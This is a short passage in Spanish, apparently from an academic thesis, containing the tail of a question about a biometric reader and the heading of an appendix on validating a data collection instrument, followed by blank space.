ejemplo, lector biométrico? 



















Anexo 04: Validación del instrumento de recolección de datos 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

